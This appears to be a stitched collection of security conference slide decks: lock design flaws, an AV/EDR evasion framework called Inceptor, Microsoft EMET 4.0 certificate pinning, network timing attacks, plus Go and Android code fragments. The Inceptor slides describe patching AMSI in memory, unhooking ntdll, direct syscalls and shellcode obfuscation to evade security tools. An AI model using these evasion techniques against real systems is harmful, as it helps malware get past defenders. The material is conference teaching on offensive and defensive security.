env, err := InitCelEnv(&option)
if err != nil {
fmt.Println("[rule/cel.go:Init init cel env error]", err)
}
// icontains
expression1 := `"aaa".icontains("aaa")`
params := make(map[string]interface{})
out, err := Evaluate(env, expression1, params)
if err != nil {
fmt.Println(err)
}
fmt.Printf("expression1: %v\n", out)
// set
setMap := make(map[string]interface{})
for _, s := range set {
for k := range s {
expression2 := s[k]
out, err = Evaluate(env, expression2, params)
if err != nil {
fmt.Println(err)
}
setMap[k] = out.Value()
}
}
//print set变量
for k, v := range setMap {
fmt.Printf("expression2 set k: %s v: %d\n", k, v)
// 将set的变量添加的env里
params[k] = v
}
// 把set替换request中的body或者headers
// eval 表达式 匹配关键字返回true或者false
expression3 := `string(rad)`
out, err = Evaluate(env, expression3, params)
if err != nil {
fmt.Println(err)
}
fmt.Printf("expression3: %s\n", out)
// 自定义一个变量如下
params["recar"] = "cel-go"
expression4 := `recar`
// 定义添加变量的类型
recar := decls.NewVar("recar", decls.String)
option.envOptions = append(option.envOptions, cel.Declarations(recar))
env, err = InitCelEnv(&option)
if err != nil {
fmt.Println("[rule/cel.go:Init init cel env error]", err)
}
out, err = Evaluate(env, expression4, params)
if err != nil {
fmt.Println(err)
}
fmt.Printf("expression4: %s\n", out)
}
参考
cel-go https://codelabs.developers.google.com/codelabs/cel-go#0
pocassist https://pocassist.jweny.top/ | pdf |
INSECURITY ENGINEERING:
Locks, Lies, and Videotape
LOCK DESIGN:
MECHANICAL v. SECURITY ENGINEERING
¨ PRIOR DefCon PRESENTATIONS
¨ Vulnerabilities in mechanical and electro-
mechanical locks
¨ Resulted from Defective or Deficient
engineering
¨ All-encompassing standards problem
¨ Failure to understand “why” locks can be
opened, rather than “how”
INSECURITY ENGINEERING
¨ DEFICIENT OR DEFECTIVE
PRODUCTS
– Intersection of mechanical and security
engineering
¨ FALSE SENSE OF SECURITY
– What appears secure is not
– How do you know the difference?
– Undue reliance on standards
¨ MISREPRESENTATIONS BY MFG
SPECIFIC DESIGN FAILURES
¨ KWIKSET SMART KEY®
¨ KABA IN-SYNC
¨ AMSEC ELECTRONIC SAFE ES813
¨ ILOC ELECTRO-MECHANICAL LOCK
¨ BIOLOCK FINGERPRINT LOCK
– Examine each lock for security vulnerability
– Statements from the manufacturers about their
security
LOCKS:
THE FIRST LINE OF DEFENSE
¨ LOCKS: FIRST SECURITY BARRIER
¨ OFTEN, THE ONLY SECURITY LAYER
¨ MEASURED BY STANDARDS
¨ WHAT IF NOT RATED BY UL or BHMA
¨ HOW DO YOU KNJOW THAT LOCKS
ARE SECURE?
¨ WHAT DOES “SECURE” MEAN?
MANUFACTURER
RESPONSIBILITIES
¨ UNIQUE RESPONSIBILITY FOR
COMPETENCE
– MECHANICAL ENGINEERING
– SECURITY ENGINEERING
¨ IMPLIED REPRESENTATIONS
– “WE ARE EXPERTS”
– SECURITY OF THEIR PRODUCTS
– REPRESENTATIONS
– “WE MEET OR EXCEED STANDARDS”
EXPERTISE REQUIRED IN
LOCK DESIGN
¨ MECHANICAL ENGINEERING
¨ SECURITY ENGINEERING
¨ MINIMUM INDUSTRY STANDARDS
REQUIRE LEVEL OF KNOWLEDGE
¨ SECURITY ENGINEERING REQUIRES:
– UNDERSTAND USE OF WIRES,
MAGNETS, PAPERCLIPS, BALL POINT
PENS, ALUMINUM FOIL
– BYPASS TECHNIQUES
ENGINEERING FAILURES:
RESULTS AND CONSEQUENCES
¨ INSECURITY ENGINEERING
– Insecure products
– Often easily bypassed
– Use standards as the measure when they do not
address the relevant issues
– Products look great but not secure
– False sense of security
COST AND APPEARANCE v.
QUALITY AND SECURITY
¨ DO YOU GET WHAT YOU PAY FOR?
¨ 2$ LOCKS ARE 2$ LOCKS!
¨ SHORTCUTS DO NOT EQUAL
SECURITY
¨ CLEVER DESIGNS MAY REDUCE
SECURITY
¨ PATENTS NOT GUARANTEE
SECURITY
SECURITY GRADES v.
SECURITY RATINGS
¨ UL 437 AND BHMA 156.30 SECURITY
STANDARDS
¨ BHMA SECURITY GRADES
¨ DEADBOLT SECURITY
– Lock cylinder v. locking hardware
– Locks and hardware are different
– “The key never unlocks the lock”
LOCK MFG OFTEN CANNOT OPEN
THEIR OWN LOCKS
¨ MEET STANDARDS BUT NOT SECURE
¨ MISREPRESENTATIONS
¨ PRODUCE INSECURE PRODUCTS
¨ TODAY: FIVE EXAMPLES OF
DEFICIENT OR OF INCOMPETENT
SECURITY ENGINEERING
FIVE EXAMPLES:
INSECURITY ENGINEERING
¨ CONVENTIONAL PIN TUMBLER LOCK
¨ ELECTRO-MECHANICAL LOCK
¨ BIOMETRIC FINGERPRINT LOCK
¨ ELECTRONIC RFID LOCK
¨ CONSUMER ELECTRONIC SAFE
– All appear secure: None are!
– This year, focus on wider problem
– Representative sample
– Hundreds of bypass tools based upon insecurity
ANALYSIS OF EACH LOCK
¨ HOW IT WORKS
¨ WHY DEFICIENT OR DEFECTIVE
¨ BYPASS VULNERABILITIES
¨ STATEMENTS BY MANUFACTURERS
¨ MUST UNDERSTAND THE
METHODOLOGY
¨ REMEMBER FIRST RULE: “THE KEY
NEVER UNLOCKS THE LOCK”
EXAMPLE #1: KWIKSET
SMART KEY®
KWIKSET SMART KEY®
¨ $2 TO MANUFACTURER
¨ CLEVER DESIGN: OUR OPINION:
POOR SECURITY
¨ NOT JUST OURS: READ MANY
COMMENTS ON WEB
¨ MANY SECURITY VULNERABILTIES
¨ MILLIONS SOLD EVERY YEAR
¨ EXTREMELY POPULAR LOCK
KWIKSET ATTRIBUTES
¨ CLEVER DESIGN
¨ PROGRAMMABLE
¨ COPIED AND MODIFIED EARLIER
DESIGNS
¨ CANNOT BUMP
¨ DIFFICULT TO PICK
¨ RATINGS
KWIKSET
REPRESENTATIONS
¨ “ANSI Grade 1 deadbolt for the ultimate in
security. Secure your home in seconds with
SmartKey.”
¨ INCREASED SECURITY
¨ BUMP RESISTANT
¨ PICK RESISTANT
HOW SMART KEY WORKS
VULNERABILITIES
¨ COMMERCIAL TOOLS AVAILABILE
¨ EASY TO COMPROMISE WITH
SIMPLE IMPLEMENTS, RAPID ENTRY
– COVERT ENTRY
– FORCED ENTRY
– KEY SECURITY
KWIKSET SECURITY
¨ TINY SLIDERS
¨ THIN METAL COVER AT END OF
KEYWAY
¨ OPEN RELATIVELY EASILY AND
QUICKLY
– Wires
– Small screwdriver
– $.05 piece of metal
KWIKSET SLIDERS:
The Critical Component
EXAMPLE #2: ILOQ
EXAMPLE #2: ILOQ
¨ MADE IN FINLAND
¨ VERY CLEVER DESIGN
¨ COST: $200+
¨ ELECTRO-MECANICAL DESIGN
¨ MECHANICAL KEY + CREDENTIALS
¨ NO BATTERIES: LIKE A CLOCK AND
MAGNETO, GENERATES POWER
ILOQ: OUR SECURITY
ILOC MECHANISM
ALL KEYS IDENTICAL
ILOQ VULNERABILITIES
¨ SET THE LOCK ONCE
¨ ANY KEY WILL OPEN
¨ NO NEED FOR CREDENTIALS
¨ VIRTUALLY NO SECURITY
¨ DIFFICULT TO DETECT
¨ LOCK OPERATES NORMALLY ONCE
SET
EXAMPLE #3: KABA IN-
SYNC RFID-BASED LOCK
KABA IN-SYNC ATTRIBUTES
¨ WIDE APPLICATOIN
¨ AVAILABLE FOR SEVERAL YEARS
¨ MILITARY AND CIVILIAN
APPLICATIONS
¨ USE SIMULATED PLASTIC KEY WITH
RFID
¨ AUDIT TRAIL
IN-SYNC INTERNAL
MECHANISM: LOCKING
BOLT RETRACTS
TURN TO OPEN
EXAMPLE #4: AMSEC ES813
CONSUMER “SAFE”
ELECTRONIC KEYPAD
AMSEC SAFE ES813 AND
OTHERS
¨ CONSUMER LEVEL SAFE
¨ $100 FOR SMALLEST UNIT
¨ ELECTRONIC KEYPAD
¨ HOW MUCH SECURITY EXPECTED?
¨ INCOMPETENT DESIGN
¨ FOUND IN MANY OTHER SAFES
EXAMPLE #5: BIOLOCK
BIOMETRIC LOCK
¨ FINGERPRINT + BYPASS CYLINDER
¨ LOOKS SECURE
¨ $200 OR MORE
¨ INSECURITY ENGINEERING AT ITS
BEST
LESSONS LEARNED
¨ CLEVER SECURITY
¨ LOCKS REQUIRE BOTH
MECHANICAL AND SECURITY
ENGINEERING
¨ PATENTS DON’T GUARANTEE
SECURITY
¨ STANDARDS DO NOT MEAN
SECURITY
INDUSTRY UPDATE
¨ STANDARDS
– BUMPING
– PROPOSED BHMA CHANGES
¨ MANUFACTURERS ARE PAYING
ATTENTION AND MAKING CHANGES
¨ CORRECT PROBLEMS AT PRIOR
DEFCON PRESENTATIONS
¨ WORKING WITH MANUFACTURERS
TO TEST LOCKS “REAL WORLD”
SECURITY LABS: REAL
WORLD TESTING
¨ MISSION OF SECURITY LABS
– TEST LOCKS FOR MAJOR COMPANIES
AND VENDORS
– LEVEL ABOVE UL, BHMA, AND OTHERS
– DETERMINE AND EXPOSE
VULNERABILITIES
– WORK WITH CLIENTS IN NEW
PRODUCT DESIGN
– PURSUE ACTIONS FOR DEFECTIVE
PRODUCTS
CONCLUSIONS
¨ MISREPRESENTATIONS BY MANY
MANUFACTURERS
¨ HIGH-TECH DESIGNS SECURITY
¨ BYPASS TOOLS FOR MANY LOCKS,
RELY ON INSECURITY
¨ MANY MFG DON’T KNOW OF
VULNERABILITIES
¨ INSECURITY = LIABILITY
¨ CAVEAT EMPTOR
INSECURITY
ENGINEERING: Locks, Lies,
and Videotape
© 2010 MarcWeber Tobias, Tobias
Bluzmanis, Matthew Fiddler
[email protected]
[email protected]
[email protected] | pdf |
sdk
0x00
0x01
0x02
1
is_root:true
2
1
2
0x03
0x04
3root
4
xposed008krealtoolsubstrate007FakeGpsmockgps
IMEI IMSIMTKNZT
5VPN
/*
*
* */
private boolean isWifiProxy(Context context) {
// 4.0
final boolean IS_ICS_OR_LATER = Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH;
String proxyAddress;
int proxyPort;
if (IS_ICS_OR_LATER) {
proxyAddress = System.getProperty("http.proxyHost");
String portStr = System.getProperty("http.proxyPort");
proxyPort = Integer.parseInt((portStr != null ? portStr : "-1"));
} else {
proxyAddress = android.net.Proxy.getHost(context);
proxyPort = android.net.Proxy.getPort(context);
}
return (!TextUtils.isEmpty(proxyAddress)) && (proxyPort != -1);
}
0x05 | pdf |
Inceptor
Bypass AV/EDR solutions combining well known techniques
1
Copyright © 2021 Alessandro Magnosi. All rights reserved
Version 1.0
Alessandro Magnosi (@klezVirus)
Copyright © 2021 Alessandro Magnosi. All rights reserved
WhoAmI
Senior Security Noob
● Red Teamer, Code Reviewer…
What I do the most:
●
Mostly.. I spend my time fixing things my kid breaks
●
Beatboxing(-ish!?) till my wife wants to kill me
●
Drink coffee… while coding
2
GitHub: @klezVirus
Twitter: @klezVirus
Ok, what we’ll see?
AV Essentials
❖AV Features
❖Defender
❖Bypass Techniques
EDR Essentials
❖Win32 API Overview
❖EDR Features
❖Bypass Techniques
Inceptor: a framework to bypass them all (hopefully)!
3
“
“First, solve the problem. Then, write
the code.” – John Johnson
4
5
AV Essentials
AV Components
6
DECOMPRESSORS
Decompressors are
responsible of decompressing
archives to allow the scanner
to analyse them
SCANNERS
The scanner is responsible of
analysing files stored in the
file system. There are also on-
access scanners, or real-time
scanners (AMSI)
UNPACKERS
Unpackers need to
automatically detect and
unpack code packed with
known packers and allow the
scanner to analyse them
SANDBOX
The sandbox is responsible of
emulating the program in a
virtualised environment, to
detect suspicious activities
(behavioural)
Static Scanner
◇ Static Analysis
◇ Blacklist approach
◇ Signature based on
particular code or data
◇ AV holds a database of
signatures
◇ Usually combined with
heuristic and dynamic
analysis.
Sandbox
◇ Runtime analysis performed
in a Virtual environment
◇ The analysis is subjected to
certain limits:
o
Time
o
Virtualized APIs
o
Sandbox capabilities
Real-Time Scanner (AMSI)
◇ In-memory static analysis
◇ Scan performed injecting
`amsi.dll` within a process
address space
◇ Scan run against WSH,
PowerShell, .NET 4.8+, UAC,
JavaScript, VBScript and
Office VBA
7
AV Components
What we need to bypass and
when?
8
What we need to bypass and
when?
9
Native
Executable
.NET
Executable
PowerShell
Script
Static Scanner (Signatures)
Real-Time Scanner (AMSI)
Sandboxing (Behavioural)
Obfuscation
The code is obfuscated to break signatures.
◇ Chameleon
◇ Chimera
◇ Invoke-Obfuscation
Evading AMSI (PowerShell)
Patching
Amsi.dll is modified in-memory to break
the scan.
◇ Amsi Fail
10
Whenever a PowerShell process starts or a .NET assembly is loaded into memory, the Anti-Malware Scan
Interface (AMSI) is used to scan the binary in memory and anything passed to it as a parameter.
AMSI is conceptually not different from a regular FS scanning engine, with the exception that it scans “in-
memory”. This means that the AMSI scanner is still based on signatures, and as such, it can be bypassed.
11
This is achieved by patching the opcode of AMSI.dll during runtime. Specifically, the opcode to change lies in the
AmsiScanBuffer pointer address at an offset of 27 as illustrated below.
Here, the general purpose register – r8d – holds the value of the “length” parameter. This value would then be
copied over to the EDI register for further processing. However, if the opcode is changed as below…
The patched instruction, “xor edi edi”, would result in the EDI register being set to zero instead of it holding the
“length” parameter value. As such, AMSI would assume that any strings send to AmsiScanBuffer() would have a
length of zero, resulting in AMSI being effectively disabled.
Evading AMSI (Patching)
12
Evading AMSI (Patching)
Mimikatz loaded!
13
Evading Signatures
Usually consists in signature detection and manual modifications:
https://github.com/matterpreter/DefenderCheck
Anti-Debug
◇ Non virtualized functions
(VirtualAllocExNuma,
fsalloc…)
◇ Filename Checking
◇ Environment checking
(IsBeingDebugged, DR
registers…)
◇ Mapped sections hashing
Resource Disruption
◇ One million increments
◇ Crazy allocation
◇ Overly complex decoding
algorithms
Logic Deception
◇ Impossible branching (i.e.
Fetching resources from
non-existent URLs)
◇ Special conditions (e.g.
registry values,
environment variables, …)
14
Evading Sandboxes
15
EDR Essentials
16
Win32 API Primer
The Windows operating system
exposes APIs in order for applications
to interact with the system.
The Windows API also forms a
bridge from “user land” to
“kernel land” with the famous
ntdll.dll as the lowest level
reachable from userland.
17
Win32 API Primer
When
malicious
applications
want
to
interact with the system they will, like other
applications, rely on the APIs exposed. Some
of the more interesting APIs include:
◇ VirtualAlloc: Used to allocate memory
◇ VirtualProtect: Change memory permissions
◇ WriteProcessMemory: Write data to an area of
memory
◇ CreateRemoteThread: Create a thread in the
address space of another process
https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs
18
https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs
Kernel32.dll
Win32 API Flow with API
monitor
19
https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs
20
Win32 API – NTDLL.DLL
NTDLL.dll functions are the last instance called
before the process switches from user-land to
kernel-land.
As such, they are the most likely to be monitored
for suspicious activities from attackers or malware
by AV/EDR vendors, and they are typically doing
exactly that.
EDR work by injecting a custom DLL-file into every
new process, installing hooks in all relevant
ntdll.dll exported functions.
https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs
EDR working (simplified)
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
EDR Working (simplified)
https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs
Example of the regular
(unhooked) function prototype of
NtAllocateVirtualMemory call
located in ntdll.dll
Example of the hooked
function prototype of
NtAllocateVirtualMemory call
located in ntdll.dll
EDR Bypass Techniques
Unhooking
Unhooking is a technique working by replacing the ntdll.dll in memory with a fresh copy
from the filesystem
Repatching
Repatching works by applying a counter patch to the patch previously applied by the EDR
Manual Mapping
This method loads a full copy of the target library file into memory. Any functions can be
exported from it afterwards
Overload
Mapping
Similar to the above. The payload stored in memory will be also backed by a legitimate
file on disk
Syscalls
This technique will map into memory only a specified function extracted from a target
DLL
PE Memory Layout
Unhooking
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
Manual Mapping
https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs
USER32
KERNEL32
NTDLL (Original)
…
NTDLL (Manually mapped)
Syscalls
https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs
Keynote: We can use the same assembly «stub» to call a syscall directly!
Start of syscall signature
Syscall number in EAX
Syscall
P/Invoke
◇ Easy to use
◇ Rapid development
◇ Will resolve functions statically
◇ Imports in the process IAT
◇ Detectable by IAT hooking and inline
hooking
C# Tradecraft
P/Invoke vs D/Invoke
D/Invoke
◇ Resolve function address dynamically
◇ No imports in the process IAT
◇ Manual mapping and syscalls
◇ A bit less intuitive to use
◇ Need Dinvoke.dll dependency
28
P/Invoke
D/Invoke
31
Inceptor
Template
Driven
Overview
PowerShell,
C#, C/C++
Artifacts
EDR Bypass:
Unhooking
Manual
Mapping
Syscalls
32
Supports
Shellcode, EXE
or DLL
AV Bypass:
Anti-Debug
Patching
Obfuscation
Malleable
Encoders
Spoofed-
certificate
Code-Signing
Encoders
33
An Encoder is a function which processes data, changing its format into a new one using an arbitrary scheme.
In Inceptor, encoders are used to ease shellcode loading, to obfuscate the shellcode, and to evade static AV signatures. This
process may involve adding garbage data to the shellcode, perform byte shifting, reduce the size of the data, or encrypt it.
Currently, we categorised 3 different kind of encoders:
◇
Encoders: encode the shellcode using a scheme
◇
Encryptors: encrypt the shellcode using an encryption scheme and a key
◇
Compressors: shrink the shellcode using a compression algorithm
A bit more formally, with encoder we refer to a function 𝑒 ∶
0, 1 𝑛 → {0,1}𝑛, where 𝑛 is a finite number.
As every encoding scheme must be reversible, given any encoder 𝑒, the following condition should be satisfied:
𝑒 𝑥 = 𝑥 → 𝑒−1 𝑥 = 𝑥 ∀𝑥 ∈ {0,1}𝑛
LI vs LE Encoders
34
A Loader-Independent Encoder, or LI Encoder, is a type of encoder which is not managed by the loader itself. Very simply,
every encoder which installs its decoding stub directly in the shellcode, is a LI encoder.
An example of this kind of encoders is every encoder provided by msfvenom. An advantage of this kind of encoders is the
possibility to be injected directly by the loader, without any modification.
A Loader-Dependent Encoder, on the other hand, is a type of encoder which installs its decoding routine in the loader,
requiring it to decode the blob of data before trying to inject it.
The main advantages of LI encoders are:
◇
They don’t expose the decoding stub to the loader, making it harder to reverse them
◇
They don’t need a developer to generate a decoding routine for them
However, LD encoders offer more customization and flexibility, and can be created ad-hoc.
Inceptor supports two kind of encoders:
◇
Loader-Independent (LI) Encoders
◇
Loader-Dependent (LD) encoders
Chainable Encoders
35
LD Encoders, as implemented in Inceptor, are also defined as «chainable encoders», meaning they can be chained together
to encode a payload.
Without being too formal, a chain of encoders is a set of encoders which are applied in sequence on a payload.
Inceptor maintains a stack of encoders used during the encoding process, and subsequently add a decoding routine to the
loader in order to permit full shellcode decoding.
While this can increase the probability space of the generated shellcode, it exposes multiple decoding stubs to the risk of
being detected, reverse engineered and added to an AV signature list.
To partially mitigate this problem, inceptor offers a way to obfuscate the loader, using different tools and techniques.
Encoder1
Encoder2
…
EncoderN
Malleable Templates
36
Shellcode Allocation
◇
VirtualAlloc, VirtualAllocEx
◇
NtAllocateVirtualMemory
◇
MapViewOfSection
◇
Etc.
Shellocode Execution
◇
CreateThread, CreateRemoteThread
◇
NtCreateThreadEx
◇
QueueUserAPC
◇
Etc.
This gives Inceptor the capability to implement virtually any technique to load and execute the shellcode, as long as a
template is available for it.
In Inceptor, each template represents a Loader, which implements two main sub-techniques:
Obfuscators
37
The Obfuscation process is usually performed during or after the loader compilation, and the main objectives are:
◇
Make it harder to analyse the binary via reverse engineering (even because C# is usually trivial to reverse if not
obfuscated)
◇
Evade common signature checking, or AMSI
The main obfuscators used by Inceptor are:
◇
Llvm-obfuscator: Native IR-based obfuscation, performed directly during compilation using clang-cl
◇
ConfuserEx: Dotnet IR-based (IL) obfuscation, performed after the binary has been built
◇
Chameleon: PowerShell code-based obfuscation, performed after the script has been written
At the time of writing, Inceptor offers limited support for code-based obfuscation. On the other
hand, it offers full support for IR-based obfuscation, which relies mostly on external tools and
platforms.
EDR bypass
38
In Inceptor, EDR bypass is obtained using three main techniques:
◇
Full Unhooking
◇
Syscalls
◇
DLL Manual Mapping
Unhooking
◇
Only used in C/C++ Artifacts
◇
The in-memory version of
NTDLL is overwritten with a
fresh copy from the disk
Manual Mapping
◇
Only used in .NET artifacts
◇
Implemented via Dinvoke
◇
A copy of NTDLL is loaded from
disk into memory
◇
Native APIs are resolved to
point to the newly mapped DLL
instead that on the original
(hooked) DLL
Syscalls
◇
Used in both C/C++ and .NET
artifacts
◇
Implemented via Syswhisper (1
and 2) and Dinvoke
◇
Syscalls stubs are used to call
system calls directly, bypassing
native APIs
D/Invoke
As for today 01/06/2021, the Dinvoke DLL is immediately
detected if added to a binary.
In order to achieve the maximum from the tool, ensure to have
a DInvoke fork which is not detected by the AV.
39
Send your PR
40
Inceptor needs
your help
Thanks!
Any questions?
You can find me at:
◇
Twitter: @klezVirus
◇
GitHub: klezVirus
◇
Gmail: [email protected]
41
Credits
Special thanks to all the people who made and released free
resources which helped me with building this presentation:
◇
Mantvydas Baranauskas (@spotheplanet)
◇
Jean Maes (@Jean_Maes_1994)
◇
Emeric Nasi (@sevagas)
◇
Daniel Duggan (@_RastaMouse)
42 | pdf |
EMET 4.0 PKI MITIGATION
Neil Sikka
DefCon 21
ABOUT ME
• Security Engineer on MSRC (Microsoft Security Response Center)
• I look at 0Days
• EMET Developer
• I enjoy doing security research on my free time too:
http://neilscomputerblog.blogspot.com/
• Twitter:
@neilsikka
OVERVIEW
1.
What Is EMET?
2.
New Features in EMET 4.0
3.
EMET Architecture
4.
PKI Feature In Depth
5.
PKI Demo
WHAT IS EMET?
• Mitigates various exploitation techniques
• Not signature based—behavior based
• Things like stopping shellcode from reading Export Address Table etc
• DLLs dynamically loaded at runtime
• No application recompiling/redeploying necessary
• Can help mitigate 0Days
• Works as far back as Windows XP
• Giving back to the security community
• Its Free
COMPATIBLE APPLICATIONS
CHANGES BETWEEN EMET 3.0/4.0
• We added Certificate Trust (PKI) Mitigations
• Our first non memory corruption mitigation
• Some ROP Hardening (Deep Hooks, Antidetours, Banned Functions)
• ROP Mitigations
• New GUI
SHELLCODE MITIGATIONS
• DEP
• Call SetProcessDEPPolicy
• HeapSpray
• Reserve locations used by heap sprays
• Mandatory ASLR
• Reserve module preferred base address, causing loader to load module somewhere
else
• NullPage
• Reserve first memory page in process, defense in depth
• EAF
• Filter shellcode access to Export Address Table (kernel32 and ntdll)
• BottomUp Randomization
• Randomize data structure bases
MORE SHELLCODE MITIGATIONS
• SEHOP-validate SEH chain looking for _EXCEPTION_REGISTRATION structure
whose prev pointer is -1
• ROP Hardening
• Deep Hooks-protect critical APIs and the APIs they call
• AntiDetours-protect against jumping over detoured part of a function
• Banned Functions-disallow calling ntdll!LdrHotpatchRoutine
ROP MITIGATIONS
• ROP (Detour functions that are commonly ROP’ed to)
• LoadLib
• Make sure we are not trying to call LoadLibrary() on a network location
• MemProt
• Make sure we aren’t making stack pages executable
• Caller
• Make sure return address on stack was proceeded by a call
• Make sure we didn’t ret to this function
• SimExecFlow
• Make sure we don’t ret to ROP gadgets
• StackPivot
• Make sure Stack Pointer (ESP) is between stack limits defined by TIB
EMET ARCHITECTURE
…
EMET_Agent.exe
(Tray Icon, Logging,
PKI)
EMET.dll
EMET_CE.dll
EMET.dll
EMET.dll
Inter-process Communications
WHAT IS PKI?
• A public-key infrastructure (PKI) is a set of hardware, software, people,
policies, and procedures needed to create, manage, distribute, use, store,
and revoke digital certificates.
--Wikipedia
• Used to ensure confidentiality, integrity and attribution online
• Communication with bank websites and other secure communications
online depend on PKI
• PKI is the basis of HTTPS
RECENT SSL/TLS INCIDENTS
• December 2008- MD5 proven harmful (Sotirov/Stevens)
• March 2011- Comodo CA signs 9 fraudulent certificates
• August 2011- Diginotar signs at least 1 fraudulent certificate
• November 2011- DigiCert issues 22 certs with 512 bit keys
• January 2013- TURKTRUST creates 2 issues fraudulent CAs and a certificate
PKI CERTIFICATE PINNING
Pinning is when we enforce certain assumptions or expectations about
certificates that we get from the internet
EXISTING PINNING WORK
• TACK (Marlinspike, Perrin): requires TLS changes, pins to TACK signing key
• DANE/TLS (RFC 6698) : requires DNS changes
• HSTS (RFC 6797) + Draft ietf websec key pinning (Evans, Palmer, Sleevi):
pins to SubjectPublicKeyInfo hash, requires HTTP changes, used in Chrome
EMET’S DESIGN GOALS
• Our goals in EMET PKI design were the following:
1.
Give control to users
• Users specify the certificates
• Users specify the domain names
• Users specify the heuristic checks
2.
Don’t require changes to pre-existing protocols
• This could break something
• This would require adoption by the rest of the internet
3.
Keep EMET as a standalone tool on the client and not depend on remote
services
• In order to achieve these goals, we had to make tradeoffs that existing
designs didn’t have to make
EMET’S APPROACH
• Requires no protocol changes
• Pins to Root Certificates, not Intermediate Certificates
• Pins to certificates in the Current User’s “Trusted Root Certification
Authorities” store
• Identifies certificates by either:
• <Issuer, Serial #> Tuple
OR
• Subject Key Identifier (SHA-1 of subjectPublicKey)
CERTIFICATE IDENTIFICATION
• Certificates can be identified by <issuer, serial #> tuples
• According to RFC5280:
“the issuer name and serial number identify a unique certificate”
• Identifying a specific certificate is more rigid (restrictive)
• Certificates can be identified by Public Key
• Some certificates chain to roots which share the same public key
• EMET optionally allows certificate identification by only Subject Key Identifier
(SHA-1 of hash of Public Key)
EMET PKI PINNING ARCHITECTURE
Pinned
Site
Pinned
Site
Pinned
Site
Pinned
Site
Pin
Rule
…
Cert
Cert
Cert …
login.skype.com
secure.skype.com
MSSkypeCA
Baltimore CyberTrust Root
Verisign
GlobalSign
GTE CyberTrust Global Root
Default Configuration Example
Architecture
WINDOWS CAPI EXTENSION
• Implemented in EMET_CE[64].dll
• EMET_CE.dll loaded inside the process
• Communicates with EMET_Agent.exe, and passes it the entire certificate
chain including the Root and End certificates hex encoded in XML
• EMET_Agent.exe decides whether the cert is OK or not
CryptRegisterOIDFunction() is called with following parameters:
CRYPT_OID_VERIFY_CERTIFICATE_CHAIN_POLICY_FUNC,
CERT_CHAIN_POLICY_SSL,
EXPORT_FUNC_NAME
CERTIFICATE CHECKS 1
• If none of the following matches a Pinned Site’s Domain Name, pass
because this domain is not configured
• Server Name of HTTPS connection
• End certificate’s Subject Name
• End certificate’s Subject Simple Name
• End certificate’s Subject DNS Name
• End certificate’s Subject URL Name
• Any Subject Alternative Name on End certificate
• Is Pin Rule Expired?
• If yes, fail
CERTIFICATE CHECKS 2
• Either (Depending on Configuration)
• Is Subject Name of root AND Serial Number of root
equal to that in a pinned Root Store certificate?
• If yes, pass
OR
• Is root Subject Key Identifier equal to that in a pinned Root Store certificate?
• If yes, pass
CERTIFICATE CHECKS 3
(EXCEPTIONS)
• Is root Public Modulus Bit length < Pin Rule’s allowed length?
• If yes, fail
• Is root Digest Algorithm disallowed by the Pin Rule?
• If yes, fail
• Is root country equal to the Pin Rule’s Allowed Country?
• If no, fail
DEFAULT PROTECTED DOMAINS
• Shipped in CertTrust.xml
• Enabled by “Recommended Settings” in wizard
• Protected Domains:
• login.microsoftonline.com
• secure.skype.com
• www.facebook.com
• login.yahoo.com
• login.live.com
• login.skype.com
• twitter.com
LIMITATIONS
• Mitigation is specifically for SSL
• Since we just check End and Root Certificates, we don’t run heuristics on
intermediate certificates
• Pin configuration is statically shipped with EMET, so they could get outdated
• EMET’s mitigations are not 100% “bullet proof”
• They just try to raise the bar for attackers
REFERENCES
•
ntdll!LdrHotpatchRoutine
•
http://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
•
MD5 Harmful (Sotirov/Stevens)
•
http://www.win.tue.nl/hashclash/rogue-ca/
•
TACK (Marlinspike, Perrin)
•
http://tack.io/draft.html
•
DANE/TLS RFC 6698
•
http://tools.ietf.org/html/rfc6698
•
HSTS RFC 6797
•
http://tools.ietf.org/html/rfc6797
•
Chrome’s Public Key Pinning Extension (Evans, Palmer, Sleevi)
•
http://tools.ietf.org/html/draft-ietf-websec-key-pinning-07
•
X509 RFC 5280
•
http://tools.ietf.org/html/rfc5280
•
Download EMET 4
•
http://www.microsoft.com/en-us/download/details.aspx?id=39273
•
More Information about Memory Corruption Mitigations in EMET 4.0:
•
http://www.recon.cx/2013/slides/Recon2013-Elias%20Bachaalany-Inside%20EMET%204.pdf
QUESTIONS
? | pdf |
Attacking The Internet of
Things
(using time)
Paul McMillan
Who am I?
There are many ways
to attack the
Internet of Things
Demo
(start)
What is a timing attack?
def authenticate_user(user, pass):
stored_hash=get_password_hash(user):
if stored_hash:
test_hash = sha1(password)
if test_hash == stored_hash:
Return True
Else:
Return False
Many Kinds
● User Enumeration
● Blind SQL Injection
● CPU Cache attacks against crypto
– Local
– Cross-VM
● Lucky 13
● Many more...
String Comparison
Timing Attacks
memcmp
while (len != 0)
{
a0 = ((byte *) srcp1)[0];
b0 = ((byte *) srcp2)[0];
srcp1 += 1;
srcp2 += 1;
res = a0 - b0;
if (res != 0)
return res;
len -= 1;
}
MASSIVE Speedup
c = character set
n = Length of string
Brute Force: c^n
Timing Attack: c * n (* x)
(x is # tries to distinguish)
Why are they interesting?
What are the drawbacks?
Let's talk about time
Internet SF-NY 70ms
Spinning Disk 13ms
Ram Latency 83ns
L1 cache 1ns
1 cpu cycle ~0.33ns
Speed of light
in network cable
1 meter in ~5ns
200 meters ~1µs
So... how long does each
byte of that string
comparison take?
nanoseconds
(on a modern
3Ghz machine)
What about something a
little slower?
Network timing precision
Sources of Imprecision
●Graphics drivers
●Background networking
●USB Devices
●Power saving measures
●Audio devices
●Etc.
Software Timestamps
are noisy.
Let's use hardware!
(picture of i350 + adapter)
Data Collection
●Generate repeated traffic
●TCPdump the packets
●Analyze the data
●Feed back to traffic gen
Making things work
● Libpcap 1.5.0+
● TCPDump 4.6.0+ (released July 2, 2014)
